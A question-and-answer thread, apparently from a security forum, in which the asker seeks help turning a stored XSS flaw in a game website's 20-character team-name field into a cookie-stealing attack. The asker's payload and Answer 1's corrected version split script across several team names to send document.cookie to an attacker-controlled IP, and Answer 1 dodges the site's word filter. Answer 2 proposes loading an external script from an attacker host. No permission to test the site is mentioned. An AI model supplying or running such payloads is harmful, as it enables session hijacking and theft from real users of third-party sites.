How to chain XSS payloads?

Question

I found a parameter on a website that is vulnerable to XSS. The website is a game and the parameter in question is the name of a player team. However, the parameter is limited to only 20 characters. There is another page on the website where these player teams can be showcased. I can make multiple player teams and have their names display on this page.

I was able to create an alert box by using the following team names on three separate teams:

<script>alert(/*
*/'1'/*
</script>

The comments skip any HTML between the team names, therefore "chaining" them and showing the alert box. However, nothing really malicious can be done with this.

I wanted to implement cookie-stealing, so first I created this payload (the IP address has been changed except for the "169" value, and the character count of the IP address is identical to the real IP address):

<script>document.location='http://12.169.123.929:80/1.php?c='+document.cookie;</script>

Of course, this would not fit in 20 characters, so I split it up like so (I am able to create up to 8 player teams to show on the page):

<script>docu/*
*/ment.location=/*
*/'http://12.16/*
*/9.123.929:80/1.p/*
*/hp?c=/*
*/'+docu/*
*/ment.cookie;
*/</script>

(the words "document" and "69" must be separated since the site's filter thinks they are inappropriate)

However, I encountered some problems while doing this. First off, the slashes in http:// are interpreted as comments and start commenting undesired things. Second, whenever there is a ' symbol, any comment after it is ignored. For instance:

How can I circumvent this and make the XSS chain together?

Answer 1

I agree with @BBerastegui, whenever you have an input filter, the first thing you want to do is load an external script so that you are not restricted anymore.

I'll assume that that's not possible (eg because of a CSP). You can still steal the cookie or perform other actions.

Second, whenever there is a ' symbol, any comment after it is ignored.

That's because you are now in a JavaScript string context. What you want to do is first close the string context with ' and then add the comment. You can then concat the next part of the string with +.

First off, the slashes in http:// are interpreted as comments

Are you sure about that? They shouldn't be, as they are in a JavaScript string context where they aren't interpreted as comments. But your code isn't working because some of the quotes are off and you are not concatenating your strings correctly.

This works for me:

<script>document.location=/*
*/'http://12.16'/*
*/+'9.123.929:80/1.p'/*
*/+'hp?c='/*
*/+document.cookie;/*
*/</script>

the words "document" and "69" must be separated since the site's filter thinks they are inappropriate

It seems that you can't do that. I tested this with Chrome and Firefox, and neither allow splitting up the document keyword with comments.

What you can do is not use the string document at all though:

<script>
x=window['docu' + 'ment'];
alert(x.location);
</script>

Which gives you:

<script>x=window['docu'/*
*/ + 'ment'];/*
*/x.location=/*
*/'http://12.16'/*
*/+'9.123.929:80/1.p'/*
*/+'hp?c='/*
*/+x.cookie;/*
*/</script>

Answer 2

Maybe I'm missing something, but how about loading an external javascript file containing your full payload?

So the full payload will be: <script src="//YOURHOST/1.js"></script>

And can chain it like this (maybe needs some tweaking):

<script src="///*
*/YOURHOST/1.js">/*
</script>

Maybe something like that would work?

About the escaping of the / in the link, try to escape them like this \/ or play around with similar "tricks".